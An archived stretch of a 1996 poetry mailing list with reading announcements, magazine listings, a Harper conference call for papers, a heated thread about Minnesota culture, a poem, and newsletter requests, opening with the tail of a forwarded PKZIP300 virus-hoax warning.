PKZIP300.ZIP, so named as to give the impression that this file is
a new version of the PKZIP software used to "ZIP" (compress) files.

DO NOT DOWNLOAD this file under any circumstances!!! If you install
or expand this file, the virus WILL wipe your hard disk clean and
affect modems at 14.4 and higher. This is an extremely destructive
virus and there is NOT yet a way of cleaning up this one.

REPEAT: DO NOT DOWNLOAD ANY FILE NAMED PKZIP300 REGARDLESS OF THE
EXTENSION!!!

Thanks,
John Scheible
[redacted]
Regards,

> *Bill*

↑ Index

233. Dan Machlin, Segue

Segue Space Reading This Friday

Wed 10 Apr 1996

Just a reminder that the SEGUE PERFORMANCE SPACE,which has survived the out-of- control party celebrating the New York City Poetry TAlks the other Saturday, wi ll be featuring a wonderful poetic happening this Friday, 4/12/96 @ 7:30 p.m. s harp. Poet TIM DAVIS will be reading (a noted photographer himself) in conjun ction with JEFF PRANT, New York Postcard Magnate, who will be showing a series of his new slide photographs and discoursing on them in that amazing radio joc keyesque voice of his. SEGUE is once again located at 303 EAST 8th STREET (bet w B&C) and refreshments will be provided. Admission Free!! Hope you can join us.

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234. Mark Roberts

AWOL new magazines at the Virtual Bookshop

Wed 10 Apr 1996

The following magazines are now available (along with lots more) at the AWOL Virtual Bookshop. Point your browser to http://www.ozemail.com.au/~awol/bookshop1.html and order away!! (All prices are Aust dollars but can be converted. Price covers sea mail. Air mail prices on application).

Going Down Swinging 15

One of Australia's leading independant literary magazines, Going Down Swinging, is now available at the AWOL Virtual Bookshop.

The latest issue, GDS 15, is dedicated to Barrett Reid. Highlights include an interview with Yevgeny Yevtushenko by Melbourne journalist John Doggett-Williams; a fascinating essay/story by Stephen J Williams on the conection between the 'eye' and the 'I'; and the photo art of Heather Winter, accompanid by her essay on the subject. There is also work by new and exciting writers such as Emma Lew, Anthony Macris, Bernadette Creechan and Alan Wayman (to name a few) together with new work from better knwon writers such as Kerry Scuffins, pi0, kevin Brophy, Eric Beach and Lauren Williams.

"The fifteenth issue of Going Down Swinging is, then a celebration....it is a glimpse of a healthy literay culture that continues to flourish." from the editorial.

Aust$10.00

OVERLAND 142

Australian Writing On Line is pleased to announce that it is now distributing Overland magazine. Overland has been one of Australia's leading literary and cultural magazine's for decades.

Issue 142 contains fiction by Merv Lilley, and CC Mitchell; poetry by Bruce Dawe, Diana Fahey, Stella Turner, Susan Hawthorne, Stephen J Williams, Peter Murphy, Sandy Jeffs and Emma Lew; graphics by Vane Lindsay, Chester Eagle, Jiri Tibor, Wes Placek, John Copeland, Zofia Nowicka, Donald Greenfield, Bev Aisbett and Lofo; The features section features a tribute to Barrett Reid which includes pieces by John Philip, Rick Amour, Shelton Lea, Rona Arndt, Vida Horn (with Thea Astley), Eric Beach, Stephen J Williams together with three poems by Barrett.

Aust$8.00

TINFISH 2

The second issue of this US (Hawai'i) based magazine is now available through AWOL. Tinfish concentrates on publishing invovative writing from around the Pacific. Contributors to the second issue include: Joe Balaz, Charles Bernstein, Mary Burger, Steven Bradbury, Jonathan Branned, Don Brunn, Eric Cook, Leslie Davis, Murray Edmond, RM Ernest, Alison Georgeson, Richard Hamasaki, Hank lazer, Carolyn Lei-Lanilau, Sean Macbeth, Sheila E Murphy. Tony Quagiano, Stephen Radcliffe, Red Flea, Joan Retallack, Laura Ruby, Chris Stroffolino, Carolyn Steinhoff Smith, Terese Svoboda, Mark Wallace, Rob Wilson and Zhou Yaping. (distributed by AWOL in Australia and New Zealand readers from the US should contact Susan Schultz at [redacted]).

Aust $5.00

Posted on behalf of AWOL ([redacted])

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

235. Maria Damon
Re: Culture with a "Q"
Wed 10 Apr 1996

i must say, kim, with all due respect to your minnesota-ishness, i share chax's dismay at what passes for culture in MN. it was a wrenching transition for me, coming from boston, then san francisco, to the supposed cultural mecca of the midwest to find that people from his own home state didn't know bob dylan was jewish, and who thought everything from new york was "pushy, loud, rude, acquisitive" (oops, they'd never use a polysyllabic word like "acquisitive," they'd say "grabby,") --not too hard to see through that set of adjectives as "too Jewish" "too ethnic," etc. --i'd get critiques on student evaluation forms like: "she has opinions," in a context that made it clear that that was a terrible thing to have. you yourself had to go through the delightful u of mn bureaucracy where getting an education was an uphill battle --meanwhile, minnesota imagines itself to care deeply about education. etc., etc. point made. nuf sed.--xo, maria

↑ Index

236. Charles Bernstein
Harper Conference Call
Wed 10 Apr 1996

---------- Forwarded message ----------

> *Announcing...*
>
> ```
> ---------------------------------------
> |        Celebrating Harper:        |
> |                                   |
> |     A Conference and Festival     |
> |           in honor of             |
> |                                   |
> |        Michael S. Harper          |
> |                                   |
> |       October 24-27, 1996         |
> |         Bowdoin College,          |
> |         Brunswick, Maine          |
> |                                   |
> ---------------------------------------
>
> Soul and Race
> are private dominions,
> memories and modal
> songs, a tenor blossoming
> ```

from "Here Where Coltrane Is"

Featured Presenters

Seamus Heaney

Russell Banks

John Callahan

John Wright

a special musical performance by
Don Byron

and

a concurrent exhibition
at the Bowdoin College Museum of Art:

THE STUDIO MUSEUM IN HARLEM:
Twenty-Five Years of African-American Art

Call for Papers

We invite abstracts, panel proposals, or
completed papers on any aspect
of his life and work by June 30, 1996

Registration information

Elizabeth Muther
Anthony Walton
Department of English
Bowdoin College
Brunswick, ME 04011
phone: [redacted]

> *fax:* [redacted]
> *email:* [redacted]
> *URL: http://www.bowdoin.edu/~harpercf/*
>
> ---

↑ Index

237. Curt Anderson
Re: Poetry video & Performance
Wed 10 Apr 1996

At 12:24 AM 4/9/96 -0700, tosh berman wrote:
>One should look into "throwaway lyrics." Frank Black is really good at
>this type of writing,and so are any artist that has an active b-side
>career. They get loose, strange, and of course very odd. Down with
>Masterpieces and up with the odd b-side recording!
>
>tosh
>
Tosh,

If you want to hear great b-side "throwaway lyrics" try Guided by Voices. I'm totally hooked on these guys. They're from Dayton, Ohio and apparently record with cheap slightly out of tune instruments on a four track in someone's basement. A CD typically boasts 20 to 24 songs, almost all impossible to extract from your mind once you've heard them, and lyrics like: "the ancient ideas are on fire, my love". How can you not like a band with a song titles like "The Lord of Overstock" and "Man Called Aerodynamics"? I may have to start a fan club.
Curt Anderson [redacted]

↑ Index

238. Charles Alexander
Re: Culture with a "Q"
Wed 10 Apr 1996

and to me, the Mall of America is so much about buying/selling/marketing/advertising, in ways that are, to me, pretty dehumanizing. working to create that mass market. and that poetry needs to attach itself to this to reach that wide audience, I find sad.

↑ Index

239. **- Kim Tedrow**
Re: Culture with a "Q"
Wed 10 Apr 1996

Hmmmm, Maria, point well taken.

However, I knew Bob Dylan was Jewish (I partied at his old frat-SAM- in the late seventies), the uphill battle at the U of MN for a single mother to get an education is probably an uphill battle in every state in the nation, and many of my fellow students, single mothers, poets and writers at Minnesota hold, share, and vociferate strong opinions such as yours, and I noticed I'm no more well received on the East Coast in the mainstream with my strong opinions than you were in the U of M English Department. Perhaps we'll have to share war stories some time, (I esp. with regard to the male self-proclaimed feminists), but I'll bet that experience can be re-created in any number of English Departments across the country--the point I'm trying to make is that maybe there isn't such a thing as Minnesota-ishness. I just didn't see the point of being snide about what a group of dedicated, respectable people are trying to do to *celebrate* (gasp--have fun) poetry in an otherwise hyper-commercial arena. NPR is reading poetry every night on it's "All Things Considered" this month. There are readings galore in DC all through April. So, someone decided to plop poetry into the MegaMall in Minnesota--if I were there I might break my solemn vow never to set foot in that mall to attend it. Who can possibly *lose*? (By the way, they're trying to raise one of those damn malls in Silver Spring near where I live and I am voting NO NO NO). xo back -Kim

>>>>>i must say, kim, with all due respect to your minnesota-ishness, i share chax's dismay at what passes for culture in MN. it was a wrenching transition for me, coming from boston, then san francisco, to the supposed cultural mecca of the midwest to find that people from his own home state didn't know bob dylan was jewish, and who thought everything from new york was "pushy, loud, rude, acquisitive" (oops, they'd never use a polysyllabic word like "acquisitive," they'd say "grabby,") --not too hard to see through that set of adjectives as "too Jewish" "too ethnic," etc. --i'd get critiques on student evaluation forms like: "she has opinions," in a context that made it clear that that was a terrible thing to have. you yourself had to go through the delightful u of mn bureaucracy where getting an education was an uphill battle --meanwhile, minnesota imagines itself to care deeply about education. etc., etc. point made. nuf sed.--xo, maria<<<<

↑ Index

240. Michael Boughn
Re: Culture with a "Q"
Wed 10 Apr 1996

> *i must say, kim, with all due respect to your minnesota-ishness, i share chax's dismay at what passes for culture in MN. it was a wrenching transition for me, coming from boston, then san francisco, to the supposed cultural mecca of the midwest to find that people from his own home state didn't know bob dylan was jewish, and who thought everything from new york was "pushy, loud, rude, acquisitive" (oops, they'd never use a polysyllabic word like "acquisitive," they'd say "grabby,") --not too hard to see through that set of adjectives as "too Jewish" "too ethnic," etc. --i'd get critiques on student evaluation forms like: "she has opinions," in a context that made it clear that that was a terrible thing to have. you yourself had to go through the delightful u of mn bureaucracy where getting an education was an uphill battle --meanwhile, minnesota imagines itself to care deeply about education. etc., etc. point made. nuf sed.--xo, maria*

Hey, Maria, have you seen _Fargo_ yet?

Ho ho,
Mike

↑ Index

241. Alan Sondheim
Poem
Wed 10 Apr 1996

Fictitious Clara

Clara fictitious, fictitious Clara, you are not my friend! You do not exist, you have not written anything to be read with song!

HELP THE BURNED and wounded child,
The infant drowned or injured mother,
The open wide-eyed girl defiled,
The sister murdered by her brother,
The scalded boy, the father's hate,
The mother's knife and tortured skin,
The sex of death, the young girl's fate,
The battered boy, his life of sin,
The blinded babe, the woman's rage,
The body bruised with leather strap,
The mother old beyond her age,
The daughter's jeers, the father's slap.

You live in your big cars, fast cars.
You live in your white lanes, fast lanes.

Fictitious Clara, you are no longer part of me. Fictitious Clara, I cast you out before you turn your eye on me. Fictitious Clara, you have one eye, one leg, one arm, one eye. Fictitious Clara, you have one eye.

Girls are wary when they walk down the alley and think of Rilke.
Wary girls carry volumes of Rilke's poems.
Riot girls have nothing to say to me.
I have nothing to say to riot girls.

Clara, you have betrayed me by your transparent skin.
You have betrayed yourself by wires running from the thin skull-threads.
What does it mean to have broken your connections?
What does it mean, to have broken your grammar?

Clara, fictitious Clara, you are not my friend!
You do not know me, and you have never known me!
You have not known the six seasons nor red moon doubled for my pleasure!
You have not come naked to my door, you have no body and no voice!

Clara, fictitious Clara, I am so alone!
Clara, fictitious Clara, you have no voice!

↑ Index

242. Christopher L. Filkins
Re: Culture with a "Q"
Wed 10 Apr 1996

Actually, (i just sent this same sentiment to Charles so please excuse the redundancy) the post concerning MN struck me as being applicable to anywhere USA. When reading his post I was inserting all the various malls and various middle amerika places i've ever been, lived in, read at, shat at, etc. and actually it was quite pleasing.

It's all malls - whether you're refering to New York or New Mexico. Minnesota doesn't have a lock on Minnesotaish behavior, I experience the same thing here in LA where the Barnes & Nobles has Pound and a selection of dead german and french symbolists as its come hithers for national poetry month (not an actual live poet to be found - i hear they hide in the bush during the daylight hours jules - well we'll just wait till dark when they come out and then we'll shoot em).

Since Charles lives in MN and access to that great architectural wonder of wonders it's appropriate that he speak to the events there. I think I would be disapointed if in the name of being kind to a problematic stance - the marketing of poetry to a pop audience - Charles had to post the event in MN without any sort of nod to the difficulties inherent in any popularization.

I only wish that those of us who live in the hinterlands had such wonderful events to look forward to.

But I digress, i'll just go back to playing with my magnetic words on the refrigerator.

christopher

> *Hmmmm, Maria, point well taken.*
>
> *However, I knew Bob Dylan was Jewish (I partied at his old frat-SAM- in the late seventies), the uphill battle at the U of MN for a single mother to get an education is probably an uphill battle in every state in the nation, and many of my fellow students, single mothers, poets and writers at Minnesota hold, share, and vociferate strong opinions such as yours, and I noticed I'm no more well received on the East Coast in the mainstream with my strong opinions than you were in the U of M English Department. Perhaps we'll have to share war stories some time, (I esp. with regard to the male self-proclaimed feminists), but I'll bet that experience can be re-created in any number of English Departments across the country--the point I'm trying to make is that maybe there isn't such a thing as Minnesota-ishness. I just didn't see the point of being snide about what a group of dedicated, respectable people are trying to do to *celebrate* (gasp--have fun) poetry in an otherwise hyper-commercial arena. NPR is reading poetry every night on it's "All Things Considered" this month. There are readings galore in DC all through April. So, someone decided to plop poetry into the MegaMall in Minnesota--if I were there I might break my solemn vow never to set foot in that mall to attend it. Who can possibly *lose*? (By the way, they're trying to raise one of those damn malls in Silver Spring near where I live and I am voting NO NO NO).*
> *xo back -Kim*

↑ Index

243. **Wystan Curnow**

Re: Poetry video

Wed 10 Apr 1996

Hey Joe,

Is what you mean that plain folks have poetics, too?

That's all for now.

Wystan

↑ Index

244. Peter Quartermain
Re: Poetic Briefs
Wed 10 Apr 1996

I had the same problem as Rae, Hank, Carl, and who all else. Please send me Poetic Briefs too.

Peter Quartermain
128 East 23rd Avenue
Vancouver
BC
Canada V5V 1X2

Thanks.

↑ Index

245. Eryque Gleason
Re: Poetic Briefs
Wed 10 Apr 1996

> *Sane problem*

i don't have a problem with my sanity, or lack thereof, but i'd like a copy too.

Eryque Gleason
325 Western Ave. Box 64
Albany, NY 12203

↑ Index

246. Thomas Bell
Re: Culture with a "Q"
Wed 10 Apr 1996

What percentage of poets became interested in poetry by seeing mediocre or even atrocious poetry in the hinterlands in the equivalent of the Minnesota mall?

What percentage began by hearing or reading poetry in the latest in venue in the poetry capital of Amerika?

I, for one, am old enough to admit seeing a Sandburg in the hinterlands. i now am back spending most of my time in the hinterer lands so I may be unique but I don't really think so.

tom

↑ Index

247. Tenney Nathanson
can't help but how about
Thu 11 Apr 1996

> *Date: Wed, 10 Apr 1996 09:01:19 -0400*
> *From: Emily Lloyd <[redacted]>*
> *Subject: darkly wise*
>
> *I remembered, in a weird flashbacky way, a line from the first poem that ever really got me...I was 5 or 6 and it was in some anthology of, I assume, dead white boys, and there was a line in it that went: "And if you be wise, be you darkly wise, darkly wise as a" <something something>...or something like that. At the time, I was so affected I tore it out of the library book, got in deep kimshi, etc...now I don't remember who wrote it. Does anyone recognize those lines? I've never come across them since. em*

Can't help with this one. But it reminds me: I have vivid recollection, from about age 7 or 8 or 9, of being at Eddie Dingilian's house (which you can see from the #1 as it approaches Dykman St) and reading a really scary Classic Comic: /The Man with the Thayed Hand/.

Thayed?

classic?

any clues?

Tenney

↑ Index

248. Eryque Gleason
Re: Poetic briefs
Thu 11 Apr 1996

Jeff Hansen wrote:
>I posted an ambiguous message a few days ago. I'm sorry.

don't apologize for ambiguity, i just love

↑ Index

249. Kenneth Sherwood
politicing like a poet
Thu 11 Apr 1996

Chris:

Politician, you don't sound that bad. In case you want to sometime though, "Make no mistake about it" is a more stentorian phrasing. From the Bush years, right around the time he'd synched up the cadence with the hand gesture. How's that for a poetry slam; say who's the ventriloquized poetry champ in Philly?

Ks

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall
[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address): http://writing.upenn.edu/epc

---

↑ Index

250. Kenneth Sherwood
satire and cynical
Thu 11 Apr 1996

Joe et al: Haven't happened yet on most recent DIU, but am struck by the sense (in relation to POE and Anti-Heg) of critique sliding into 'cynicism'. Which is to say, I don't read these works as cynical at all. But I'm hearing alarm bells to the tune of "don't be so negative" which, if there's a anything any "we" needs lately its MORE of that. What strikes me about poetry/literature's presence in culture-wide is that only its pretty side gets shown. cf Bill Moyer's: "how did you feeling when you wrote that poem, were you remembering your dead mother?" etc.

Looking forward to seeing USOP and hearing Linebreak etc. These are valuable attempts to get poetry out of its crease. BUT given that it's not in the limelight (Bob Hass excepted)--one valuable aspect of this putatative outsideness is possiblity of critique. Perhaps the work of Ginsberg, Baraka, Brathwaite et al has a more obviously engage' poetic but c'mon. Were Rabelais, Cervantes, Loy, Swift, cynics?

Ks

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall

[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address): http://writing.upenn.edu/epc

---

↑ Index

251. **tosh berman**
Re: Poetry video & Performance
Thu 11 Apr 1996

> *Tosh,*
>
> *If you want to hear great b-side "throwaway lyrics" try Guided by Voices. I'm totally hooked on these guys. They're from Dayton, Ohio and apparently record with cheap slightly out of tune instruments on a four track in someone's basement. A CD typically boasts 20 to 24 songs, almost all impossible to extract from your mind once you've heard them, and lyrics like: "the ancient ideas are on fire, my love". How can you not like a band with a song titles like "The Lord of Overstock" and "Man Called Aerodynamics"? I may have to start a fan club.*
> *Curt Anderson*
> [redacted]

Go for it Curt! I will for sure give them a listen! Thank you,

tosh

↑ Index

252. **mikl-em**
Re: contrasimilacrum
Thu 11 Apr 1996

Michelle,

> *realize that my phrase "too far away" is disgustingly vague, but I think*

sometimes 'too vague' or AWK-wordz is exactly-exactly and more of accu-rate than the polysyllabidinal and over cool-inical,

that is it Municates : couldn't criticism try to approach poetry in a po-etry approach ? as poetry's a-prose philosophy

I think it is sobriety in prose in criticism witch trials me. (vials me?)

I can find mice elf in them idst off poems, if i could find a criticism which casts an imperfect net over an imperfect net that is a poem then I could find even

more about the grounds they would mutual lie [also truth] on then, ruther than this random bursts vs. pronouncements which is too often the relation [and often with a negated or conversely flaunted lust of the prosaic for the verse], um, that is that

I don't know that poets Know any more or know any More than Critics

and those in either camp who suggest such I tend to suspect the spikes which hold their flap-tents down [by Jobe].

> *Should I stop repeating myself?*

neh.
[this language is like any other, arbitrary

and dying.]
alrite, this is it.

---
michael "Raw Onions/Hot and/or Sweet Cherry
mcelligott Peppers/White American or Provolone Cheese"
[redacted] --the Cheese Steak Shop takeout menu

↑ Index

253. Ron Silliman
Fwd: Re: Poetic Briefs
Thu 11 Apr 1996

---- Begin Forwarded Message
(8.6.13/SMI-4.1/Netcom)
id UAA25699; Tue, 9 Apr 1996 20:39:34 -0700
[128.205.7.35]) by listserv.acsu.buffalo.edu (8.7.5/8.7.1) with SMTP id
XAA23443; Tue, 9 Apr 1996 23:35:04 -0400 (EDT)
release
1.8b) with NJE id 8223 for [redacted]; Tue,
9 Apr
1996 23:32:54 -0400
(LMail
V1.2a/1.8a) with BSMTP id 3495; Tue, 9 Apr 1996 23:32:33
-0400
with TCP;
Tue, 09 Apr 96 23:32:32 EDT
All our problems should be sane, Tom. It would be a great world. I too
got a "bounce back" message, but my server (like the little engine that
could) promised to keep trying. I think maybe that Jeff's server has
been down over the weekend. Anyway, be sure to add me to that list:

Ron Silliman
262 Orchard
Paoli, PA 19301-1116

Sane problem
Thomas Bell
2546 Hibbitts Rd.
Nashville, TN 37214

On Tue, 9 Apr 1996, Carl Lynden Peters wrote:

> *I had the same problem as Rae. Please send me Poetics Briefs:*
>
> *Hank Lazer*
> *2945 N Hampton Dr*
> *Tuscaloosa, AL 35406-2701*
>
> *ditto. -- i'd very much appreciate this, too:*
>
> *c. peters*
> *dept. of english*
> *simon fraser univ.*
> *burnaby, BC canada*
> *V5A 1S6*

↑ Index

254. Ron Silliman
Poetry City, April 11
Thu 11 Apr 1996

Tonight at Poetry City
Thursday, April 11

Teachers & Writers Collaborative
5 Union Square West, 7th Floor
NYC

6:30 PM

Lewis Warsh
&
Yours truly

(we promise Culture with a Q)

Ron Silliman

↑ Index

255. **Henry Gould**
Re: Culture with a "Q"
Thu 11 Apr 1996

On Wed, 10 Apr 1996 17:02:02 -0400 Maria Damon said:
>i must say, kim, with all due respect to your minnesota-ishness, i share
>chax's dismay at what passes for culture in MN. it was a wrenching
>transition for me, coming from boston, then san francisco, to the supposed
>cultural mecca of the midwest to find that people from his own home state
>didn't know bob dylan was jewish, and who thought everything from new york
>was "pushy, loud, rude, acquisitive" (oops, they'd never use a polysyllabic

This kind of stuff is nothing new to us transplanted midwesterners. We hear cracks about the wasteland of the midwest at least once a week, if not every day. I'm sorry, but this is cheap snobbery. From a Loyal Son of Brainerd (& the other godforsaken benighted villes of the loon state) - Henry Gould

↑ Index

256. **Maria Damon**
Re: contrasimilacrum
Thu 11 Apr 1996

---

meaghan roberts and david baratier: on t he sujbect of "criticism"/"creativity" -- tho theoretically i strongly believe that one can be primarily a "critic" and yet be one "creatively," as is my (i hope) practice, i also had an interesting experience recently in trying to switch from one mode to the other and back. i've been participating in the range quabal (formerly renga cabal), writing extemporaneous collaborative poems thru the e-mail. i was totally into it, and then had to focus on writing a "critical" piece on Stein for modern fiction studies. i found it a tormenting experience to have to construct a coherent argument, etc., and plunged into deepest despair that is probably more familiar to us than we like to let on ("my best work is behind me, i've forgotten how to think, i'm a fraud, thank god i have tenure cuz i can't produce anymore, uh-oh i'm living proof that the tenure system subsidizes the braindead, nothing to live for, it's all over," etc). i forced a series of paragraphs out. my favorite parts were the playful close readings of stein, which i downgraded in my mind cuz everone knows close readiang is passe and untheoretical, etc.. so. article finished, mailed in, appreciated by editor (esp the close reading parts), and guess what, when i turn to the ranges, they look again to me like a foreign element. "what did i ever see in these? who did i think i was, contributing to these? i can't do this creaetaive kinda stuff." granted, this self-talk is part of the process, my own

internalized split which i'm trying to dismantle or dissolve. but phenomenologically it was interesting to find out how diff. these discourses seem to be, despite my position to the contrary. bests, maria

↑ Index

257. **Maria Damon**
Re: Culture with a "Q"
Thu 11 Apr 1996

mike boughn on fargo: haven't seen it yet, but listened w/ great glee to an NPR interview w/ Coen brothers in which the first shot of the movie was described as a "pure, flat whiteness." uh-huh, i thought, and promptly put that detail into a paper i was revising. also, the coen bros. grew up in st. louis park, a suburb of mpls known locally as "st. jewish park," and i couldn't help but hear their remarks about mn being a place where "everything's polite on the surface, but underneath there's a seething something or other" as reflecting the experience of anyone who's the least bit "different" --a favorite mn word used, with halting, pejorative puzzlement to describe anything that has an iota of vitality or distinguishability from the great white flatness. i don't even mean eccentric. i mean dark-haired, or short, etc. i'm looking forward to seeing the movie. don't mind me, folks. i really enjoy criticizing minnesota. jack spicer was right: there is no magic in minnesota.--md

↑ Index

258. **Maria Damon**
Re: DIU
Thu 11 Apr 1996

hey chrissie, how come i didn't get a posting from DIU, which i always
mis-see as DUI as in driving under?
md

↑ Index

259. **Maria Damon**
Jewish Encyclopedia
Thu 11 Apr 1996

hey everyone, i need to clarify a misunderstanding. i thought that the encyc. of J-American poets and playwrights had decided not to cover stein and antin, as i reported here a few weeks ago. well, i misunderstood their message to me that they had "decided against stein and antin." they meant that they had decided against assigning stein and antin to me, since richard kostelanetz was already "doing" them. i thot it meant that they were not to be included. wanted to

clarify, since i don't want to be spreading false info or misrepresenting others' efforts. i'm hypersensitive to these issues these days after my experience w/ coffee house press. so, i'm "doing" ginsberg.

↑ Index

260. Maria Damon
Re: Poem
Thu 11 Apr 1996

---

gee allan sondheim, i don't know what it means but i luv it.--md

↑ Index

261. Henry Gould
Re: Culture with a "Q"
Thu 11 Apr 1996

On Thu, 11 Apr 1996 08:48:18 -0400 Maria Damon said:
>remarks about mn being a place where "everything's polite on the surface, but
>underneath there's a seething something or other" as reflecting the
>experience of anyone who's the least bit "different" --a favorite mn word

Yeah, why be polite. Let's just be up front and further the balkanization of the universe. Have you ever read Rebecca West's travel book about the Balkans (Black Lamb & Grey Falcon)? She critiques every city and town in an extremely opinionated judgement moral/historical/ sociological/almost biological (unnerving, since it was the end of the thirties) way - but she's consistent, incisive, deep, and she critiques everybody (though she's especially tough on the Germans she meets). And she is also in love with the place. Why bring this up? Well, instead of giving the old Minnesota jive why don't you tour the whole country? Evry place has its dominant vices & pathetic problems. - Henry Gould

↑ Index

262. Jordan Davis
this week in poetry ny addendum
Thu 11 Apr 1996

John Yau / Mitch Highfill

Sunday April 14
5 p.m, Biblios

——

Maria--you put the detail of nothing but flat whiteness onto a paper? a piece of paper?

___

Chris--(nothing in that drawer). I don't play tennis, though David Dinkins used to. I think Ron's sparring partners include Galway Kinnell, Geoff Young, Chris Edgar, Curt Lamkin, Daniel Shapiro et alia.

___

Curt--somebody to talk to about a GbV fan club is Albert Mobilio, who may or may not be lurking now. (Albert, if you're out there, I'd love to see this Gary Burghoff piece everyone keeps telling me about. PS Congratulations on your review in the Newsletter.)

___

Steve--who died and made the music of 1994 king? And for the other Steve, does _The Hum Is Coming from Her_ really exist? No store in NY has heard of it.

___

Jd

↑ Index

263. **Joe Amato**
Re: Poetry video
Thu 11 Apr 1996

wystan, yeah, i would say that ordinary folks have poetics... but i'm not certain which of the four-gazillion of these posts you're responding to!... in any case, what i'm saying is, ordinary or no, fact is that the first set of language practices to get side-stepped in more pop culture venues tend to be those that have to do with writing per se... whereas in the humanities side of the academy, writing tends to rule... and i'd hate to advocate a more peculiarly academic reality...

so when you make poetry a more public or publicity-laden act, folks tend to come to those aspects of it that appeal to the aural or the visual (which is fine in itself) while not necessarily knowing, or caring to know, about many of the various writing traditions of this past, say, century (which is not fine by itself)... there are other less visible practices that get forgotten too, some having to do with performance art in general, but it seems to me that writing can take a real beating when it 'competes with' aural/visual form... i've seen this happen time and again... so i'm trying to think through ways to retain an orientation toward such writing traditions while holding onto the value of video etc... b/c its in this coupling that i see the possibility for alternative practices, structures, institutions...

still, some would see this perhaps as a desperate attempt to cling to alphabetic technologies...

joe

↑ Index

264. **Joe Amato**
Re: satire and cynical
Thu 11 Apr 1996

---

ken, dunno about rabelais, cervantes, loy and swift, though yes, i'm certain there was at times a current of cynicism running through their heads when they penned some of their stuff...

but in general, for me, there's a difference twixt satire---which in my view has a moral basis---and cynicism... and i mean to indicate by 'cynicism' not the original greek version, and i understand that there's at times a need for some cynicism too... that is, places and times for cheering & sneering... but criticism does not methinks reduce to cynicism...

in any case, if one hopes to make a positive change of any sort, in any scene, then in my view one needs at least to be thinking in ethico-moral-political terms... i hope this doesn't come off as sounding itself quaylish---which such sentiments generally do... my comments about diu, as much as i enjoy aspects of this latter, have primarily to do with an implicit sense i get at times that someone is being one-upped... ironically, i guess i wish that this were in fact more explicit... and whereas you can one-up me till the cows come home (in minnesota or in upstate new york) i yet question the value same has in communities that are only too good at ripping each other (forgive me this male-ism, puh-leez) new assholes...

which critique in general needs to be fully absorbed by those of us on who see ourselves on the left side of things political... i mean, while we need to be able to conduct (even harsh) self-critique (at ALL costs), this doesn't necessarily translate to (i won't say ad hominem) a cynicism of practice... what was it charles b. once quoted me by way of gramsci?---"pessimism of the intellect, optimism of the will"... and pessimism, again, is not cynicism...

all best,

joe

↑ Index

265. **Joe Amato**
Re: satire and cynical
Thu 11 Apr 1996

---

oh and i s'pose i should add that this criteek of mine re diu i'd be more than willing to apply to mine own efforts three years back with nous refuse...

i mean, simply to say that the innovation was the medium, and the voices pulled together... and methinks this was a good thing, all said and done, in the same way as diu (or poetics) is a good thing b/c it pulls together (certainly not w/o criteek) different voices in this medium and provides some glue w/solvent for wide(r) consideration...

so no (w)holier-than-thou stuff going down here, and i mean my remarks to contribute, in fact (optimist that i hope to be), to an even better glue/solvent... but as with nous, my sense is that we need to continue to ask what we're doing with these our voice/voices (to paraphrase patricia hill collins)...

joe

↑ Index

266. **Jeffrey W. Timmons**
Re: Culture with a "Q"
Thu 11 Apr 1996

Maria,

What states _do_ have magic? I nominate Nebraska, strangely enough. And I have a predisposition to Oregon. Living in Phoenix I can't speak for Arizona, but I know that there is a spirituality _somewhere_ to be found here. DC has some magic tucked away here in there in little pockets--which I might disclose if prompted--but that may be my own creation. Thinking of other states, and where there magic is. . . .

Jeffrey Timmons

↑ Index

267. **Maria Damon**
Re: Culture with a "Q"
Thu 11 Apr 1996

---

henry gould --look, i'm not a cheap snob. i went to mpls expecting to love it, populism, culture, etc.; these are not pre-judices in the sense of my having formed an opinion a priori. it never would have occurred to me to poke fun at the midwest until i went thru hell there. i've met a lot ofcool people FROM the midwest, but they're not there anymore. i haven't met that many cool people IN

the midwest. or rather, that's not true, there are some interesting people, but ther isn't the kind of atmosphere i'm used to --there's not a critical mass of "my" kind of people sufficient to affect the culture at large. i'm not interested in being ghetto-ized. there are plenty of alternative cultures in mn, but they are put on the defensive and develop a counter-productive us/them thing, which often devolves into pointless extremism just to combat the everyday lethargy. i understand it to some degree --life is hard there, it's not an affluent state, it's austere as hell, and people want to expend the minimum energy on "superfluities" like enjoyment, expressiveness, shallow things like "lifestyle," etc. but after having worked very hard in california to increase my tolerance for pleasure, self-expression, belief in my capabilities, etc., I experienced mn as cruel. md

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268. **Susan Schultz**
Re: Minnesota
Thu 11 Apr 1996

Dear Jeff--Thanks for including TINFISH among new Minnesota journals! I was in Minnesota once on a canoe trip, which I quite enjoyed--except for the mosquitos and foot rot. But the journal comes out of Honolulu (#2 just launched from the EPC, by the way). The graphic designer, Suzanne Kosanke, is very much a Minnesotan, however, so the mistake is apt.

Susan

↑ Index

269. **Charles Alexander**
Re: Minnesota
Thu 11 Apr 1996

---

as to jeff hansen's words about what's very good in minnesota

I have to say, it's true what he said

and jeff's energy here is most welcome

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270. **Chris Stroffolino**
Re: Minnesota
Thu 11 Apr 1996

Dear jeff hansen--- Well, sounds that more is happening there than here in your old stomping ground (certainly in terms of presses). Is there really a magazine called TINFISH there? Do they know about Susan "The Tribe Of

John" Schultz's magazine of the same name??????? And what ever happened to Gary Sullivan? When he signed off the list, there was rumours he was going to leave MN. Also, question for Maria D., are you returning to MN? I had the impression that you had a tenure track position there, and were just a visiting prof. or something on the cape this year.... just curious. Love to all, cs

↑ Index

271. Chris Stroffolino
Re: symmetry
Thu 11 Apr 1996

This is for Laura Moriarty-- I received a note from your address about my comments on your book, and I tried to respond but ended up accidentally deleting your message. Could you please backchannel me your address (though you don't have to repeat the message---even though I'm really upset about having lost it)... Thank you, Chris Stroffolino

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272. Jeff Hansen
Minnesota
Thu 11 Apr 1996

